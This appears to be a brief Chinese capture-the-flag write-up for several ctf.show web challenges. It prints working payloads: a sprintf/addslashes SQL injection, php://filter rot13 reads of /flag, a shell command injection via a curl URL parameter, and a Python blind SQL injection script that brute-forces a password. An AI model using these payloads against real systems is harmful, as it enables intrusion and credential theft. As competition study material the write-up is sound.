给他
谐音.git
用githack还原文件
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
用addslashes函数进行转义
它会在以下字符前添加反斜杠(\):
单引号 (')
双引号 (")
反斜杠 (\)
NULL 字符
sprintf 利用的原理是%1$\为空,所以我们构造%1$'单引号前的转义符会被置空。从而实现单引号逃逸
?name=admin&pass=%1$’ or 1=1%23
同时发现多了个cookie
php://filter/convert.base64-encode/source=/flag
发现被过滤了这里只能使用rot13
php://filter/read=string.toupper|string.rot13/resource=/flag
得到flag还要解密,我都忘了
签到题
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
闭合就行
?url=;tac flag;
数学及格了
靶机没了
假赛生
扫一下发现
有登录和注册页面
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
}else{
echo "you not admin";
}
}
}
?>
这里有个name是admin,我们就注册就行了,后面加个空格绕过
然后登录之后传c为空就有flag
不行有点搞笑,感觉像qj
萌新记忆
用户名为admin
#author:羽
import requests
url='http://bbdf98cd-7839-4c00-938d-3d1e20bbfc25.challenge.ctf.show/admin/checklogin.php'
s= '0123456789abcdefghijklmnopqrstuvwxyz'
flag=''
for i in range(1,18):
print('*')
for j in s:
data={"u":"'||substr(p,"+str(i)+",1)<'"+j,
"p":"1"
}
r=requests.post(url,data=data)
#print(r.text)
if "密码错误" == r.text:
flag+=chr(ord(j)-1)
print(flag)
break